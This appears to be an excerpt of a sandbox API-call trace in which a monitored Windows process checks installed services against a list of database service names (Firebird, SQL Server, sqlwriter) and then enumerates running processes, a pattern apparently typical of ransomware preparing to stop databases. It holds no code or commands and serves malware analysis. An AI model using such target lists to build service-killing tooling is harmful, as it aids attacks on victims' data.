	[0072.723] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0072.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0072.723] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0072.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0072.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0072.723] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0072.723] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0072.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0072.723] lstrlenW (lpString="CDPSvc") returned 6
	[0072.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0072.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0072.723] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0072.723] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0072.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0072.724] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0072.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0072.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0072.724] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0072.724] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0072.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0072.724] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0072.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0072.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0072.724] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0072.724] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0072.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0072.724] lstrlenW (lpString="CryptSvc") returned 8
	[0072.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0072.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0072.724] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0072.724] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0072.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0072.724] lstrlenW (lpString="DcomLaunch") returned 10
	[0072.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0072.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0072.724] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0072.724] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0072.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0072.724] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0072.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0072.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0072.724] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0072.724] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0072.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0072.725] lstrlenW (lpString="Dhcp") returned 4
	[0072.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0072.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0072.725] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0072.725] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0072.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0072.725] lstrlenW (lpString="Dnscache") returned 8
	[0072.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0072.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0072.725] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0072.725] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0072.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0072.725] lstrlenW (lpString="DoSvc") returned 5
	[0072.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0072.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0072.725] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0072.725] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0072.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0072.725] lstrlenW (lpString="DPS") returned 3
	[0072.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0072.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0072.725] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0072.725] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0072.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0072.725] lstrlenW (lpString="DusmSvc") returned 7
	[0072.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0072.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0072.725] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0072.725] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0072.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0072.726] lstrlenW (lpString="EventLog") returned 8
	[0072.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0072.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0072.726] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0072.726] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0072.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0072.726] lstrlenW (lpString="EventSystem") returned 11
	[0072.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0072.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0072.726] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0072.726] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0072.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0072.726] lstrlenW (lpString="FontCache") returned 9
	[0072.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0072.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0072.726] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0072.726] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0072.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0072.726] lstrlenW (lpString="gpsvc") returned 5
	[0072.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0072.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0072.726] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0072.726] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0072.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0072.726] lstrlenW (lpString="iphlpsvc") returned 8
	[0072.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0072.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0072.726] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0072.726] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0072.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0072.726] lstrlenW (lpString="KeyIso") returned 6
	[0072.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0072.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0072.727] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0072.727] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0072.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0072.727] lstrlenW (lpString="LanmanServer") returned 12
	[0072.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0072.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0072.727] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0072.727] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0072.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0072.727] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0072.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0072.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0072.727] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0072.727] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0072.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0072.727] lstrlenW (lpString="lfsvc") returned 5
	[0072.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0072.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0072.727] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0072.727] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0072.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0072.727] lstrlenW (lpString="lmhosts") returned 7
	[0072.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0072.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0072.727] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0072.727] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0072.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0072.727] lstrlenW (lpString="LSM") returned 3
	[0072.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0072.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0072.728] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0072.728] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0072.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0072.728] lstrlenW (lpString="MapsBroker") returned 10
	[0073.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0073.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0073.065] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0073.065] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0073.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0073.066] lstrlenW (lpString="MpsSvc") returned 6
	[0073.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0073.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0073.066] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0073.066] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0073.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0073.066] lstrlenW (lpString="NcbService") returned 10
	[0073.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0073.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0073.066] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0073.066] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0073.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0073.066] lstrlenW (lpString="netprofm") returned 8
	[0073.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0073.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0073.066] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0073.066] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0073.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0073.066] lstrlenW (lpString="NgcSvc") returned 6
	[0073.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0073.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0073.066] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0073.066] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0073.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0073.066] lstrlenW (lpString="NlaSvc") returned 6
	[0073.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0073.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0073.066] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0073.066] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0073.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0073.066] lstrlenW (lpString="nsi") returned 3
	[0073.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0073.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0073.067] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0073.067] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0073.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0073.067] lstrlenW (lpString="PcaSvc") returned 6
	[0073.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0073.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0073.067] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0073.067] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0073.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0073.067] lstrlenW (lpString="PlugPlay") returned 8
	[0073.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0073.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0073.067] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0073.067] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0073.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0073.067] lstrlenW (lpString="Power") returned 5
	[0073.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0073.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0073.067] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0073.067] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0073.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0073.067] lstrlenW (lpString="ProfSvc") returned 7
	[0073.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0073.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0073.067] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0073.067] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0073.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0073.067] lstrlenW (lpString="RpcEptMapper") returned 12
	[0073.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0073.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0073.068] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0073.068] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0073.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0073.068] lstrlenW (lpString="RpcSs") returned 5
	[0073.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0073.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0073.068] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0073.068] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0073.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0073.068] lstrlenW (lpString="SamSs") returned 5
	[0073.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0073.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0073.068] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0073.068] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0073.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0073.068] lstrlenW (lpString="Schedule") returned 8
	[0073.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0073.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0073.068] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0073.068] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0073.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0073.068] lstrlenW (lpString="SecurityHealthService") returned 21
	[0073.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0073.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0073.068] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0073.068] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0073.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0073.068] lstrlenW (lpString="SENS") returned 4
	[0073.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0073.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0073.068] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0073.069] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0073.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0073.069] lstrlenW (lpString="ShellHWDetection") returned 16
	[0073.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0073.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0073.069] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0073.069] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0073.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0073.069] lstrlenW (lpString="Spooler") returned 7
	[0073.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0073.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0073.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0073.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0073.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0073.069] lstrlenW (lpString="StateRepository") returned 15
	[0073.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0073.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0073.069] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0073.069] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0073.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0073.069] lstrlenW (lpString="SysMain") returned 7
	[0073.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0073.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0073.069] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0073.069] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0073.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4314a18 | out: hHeap=0x4f0000) returned 1
	[0073.070] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338
	[0073.146] Process32FirstW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0073.146] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0073.147] lstrlenW (lpString="System") returned 6
	[0073.147] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0073.147] lstrlenW (lpString="smss.exe") returned 8
	[0073.147] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0073.148] lstrlenW (lpString="csrss.exe") returned 9
	[0073.148] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0073.148] lstrlenW (lpString="wininit.exe") returned 11
	[0073.149] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0073.149] lstrlenW (lpString="csrss.exe") returned 9
	[0073.149] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0073.150] lstrlenW (lpString="winlogon.exe") returned 12
	[0073.150] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0073.150] lstrlenW (lpString="services.exe") returned 12
	[0073.151] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0073.152] lstrlenW (lpString="lsass.exe") returned 9
	[0073.152] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.153] lstrlenW (lpString="svchost.exe") returned 11
	[0073.153] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0073.153] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0073.153] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0073.155] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0073.155] Process32NextW (in: hSnapshot=0x338, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0073.155] lstrlenW (lpString="svchost.exe") returned 11
